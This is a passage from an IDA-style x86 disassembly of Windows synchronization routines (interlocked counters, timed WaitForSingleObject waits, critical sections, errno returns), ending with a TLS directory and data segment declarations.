loc_13DAF42:				; CODE XREF: sub_13DAEF0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DAF4A:				; CODE XREF: sub_13DAEF0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_13DAF8A
		call	sub_13AB6E4
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_13ABE50
		add	esp, 8
		test	eax, eax
		jz	short loc_13DAF8A
		push	esi
		call	InterlockedDecrement	; InterlockedDecrement
		cmp	dword ptr [esi+8], 1
		jnz	short loc_13DAF80
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DAF80:				; CODE XREF: sub_13DAEF0+82j
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DAF8A:				; CODE XREF: sub_13DAEF0+5Fj
					; sub_13DAEF0+75j
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_13DAFE0
		add	esp, 4
		test	eax, eax
		jz	short loc_13DAF2E
		call	_errno	; _errno
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13DAFA7:				; CODE XREF: sub_13DAEF0+Aj
					; sub_13DAEF0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_13DAEF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DAFE0	proc near		; CODE XREF: sub_13DAEF0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13DAFFA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_13DAFFA
		retn
; ---------------------------------------------------------------------------


loc_13DAFFA:				; CODE XREF: sub_13DAFE0+6j
					; sub_13DAFE0+17j
		call	_errno	; _errno
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_13DAFE0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DB020	proc near		; CODE XREF: sub_13ABFC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_13DB1B8
		mov	eax, [esi]
		test	eax, eax
		jz	loc_13DB1B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13DB051
		push	esi
		call	sub_13AC003
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_13DB051
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB051:				; CODE XREF: sub_13DB020+1Dj
					; sub_13DB020+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	InterlockedIncrement	; InterlockedIncrement
		test	eax, eax
		jnz	short loc_13DB082


loc_13DB060:				; CODE XREF: sub_13DB020+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_13DB1AE
		call	sub_13AB6E4
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB082:				; CODE XREF: sub_13DB020+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_13DB0C6
		call	sub_13AB6E4
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_13ABE50
		add	esp, 8
		test	eax, eax
		jz	short loc_13DB0C6
		push	esi
		call	InterlockedDecrement	; InterlockedDecrement
		cmp	dword ptr [esi+8], 1
		jnz	short loc_13DB0BA
		mov	eax, [esi+4]
		pop	edi
		inc	eax
		pop	ebx
		mov	[esi+4], eax
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB0BA:				; CODE XREF: sub_13DB020+8Aj
		mov	ebp, 24h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB0C6:				; CODE XREF: sub_13DB020+67j
					; sub_13DB020+7Dj
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_13DB0DA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB0DA:				; CODE XREF: sub_13DB020+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_13DB230
		add	esp, 8
		sub	eax, 0
		jz	loc_13DB19A
		dec	eax
		jz	short loc_13DB164
		dec	eax
		jz	short loc_13DB105
		call	_errno	; _errno
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB105:				; CODE XREF: sub_13DB020+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	EnterCriticalSection
		push	edi
		mov	ebp, 274Ch
		call	sub_13AB4A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_13DB137
		call	InterlockedDecrement	; InterlockedDecrement
		push	ebx
		call	LeaveCriticalSection
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB137:				; CODE XREF: sub_13DB020+101j
		call	InterlockedDecrement	; InterlockedDecrement
		test	eax, eax
		jl	short loc_13DB156
		push	edi
		call	sub_13AB43C
		add	esp, 4
		test	eax, eax
		jz	short loc_13DB156
		call	_errno	; _errno
		mov	ebp, [eax]


loc_13DB156:				; CODE XREF: sub_13DB020+11Fj
					; sub_13DB020+12Cj
		push	ebx
		call	LeaveCriticalSection
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB164:				; CODE XREF: sub_13DB020+D1j
		lea	ebx, [esi+14h]
		push	ebx
		call	EnterCriticalSection
		push	edi
		call	sub_13AB4A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_13DB18A
		push	esi
		call	InterlockedDecrement	; InterlockedDecrement
		mov	ebp, 274Ch


loc_13DB18A:				; CODE XREF: sub_13DB020+15Cj
		push	ebx
		call	LeaveCriticalSection
		test	edi, edi
		jnz	short loc_13DB1B1
		jmp	loc_13DB060
; ---------------------------------------------------------------------------


loc_13DB19A:				; CODE XREF: sub_13DB020+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_13DB1AE
		call	sub_13AB6E4


loc_13DB1AE:				; CODE XREF: sub_13DB020+4Dj
					; sub_13DB020+187j
		mov	[esi+0Ch], eax


loc_13DB1B1:				; CODE XREF: sub_13DB020+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_13DB1B8:				; CODE XREF: sub_13DB020+Aj
					; sub_13DB020+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_13DB020	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13DB230	proc near		; CODE XREF: sub_13DB020+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_13DB2CE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_13DB262
		or	eax, 0FFFFFFFFh


loc_13DB24C:				; CODE XREF: sub_13DB230+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_13DB2BC
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_13DB262:				; CODE XREF: sub_13DB230+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	_ftime	; _ftime
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_13DB24C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_13DB2BC:				; CODE XREF: sub_13DB230+2Aj
		cmp	eax, 102h
		jnz	short loc_13DB2CE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_13DB2CE:				; CODE XREF: sub_13DB230+Bj
					; sub_13DB230+91j
		call	_errno	; _errno
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_13DB230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
TlsDirectory	dd 90909090h
TlsEnd_ptr	dd 0CC909090h
TlsIndex_ptr	dd 0CCCCCCCCh
TlsCallbacks_ptr dd 0CCCCCCCCh
TlsSizeOfZeroFill dd ?
TlsCharacteristics dd ?
		db 3 dup(?)
		dd 7 dup(?)
dword_13DB320	dd 80h dup(?)	dword_13DB520	dd 54h dup(?)	dword_13DB670	dd 0Ch dup(?)	dword_13DB6A0	dd 40h dup(?)	dword_13DB7A0	dd 8 dup(?)	dword_13DB7C0	dd 3Ch dup(?)	dword_13DB8B0	dd ?				dd ?
dword_13DB8B8	dd 0A6h	dup(?)
byte_13DBB50	db ?			; CODE XREF: sub_13ABBADj
		db 3 dup(?)
		dd 2Fh dup(?)
dword_13DBC10	dd 34h dup(?)	dword_13DBCE0	dd 34h dup(?)	dword_13DBDB0	dd 94h dup(?)	_idata		ends


		end start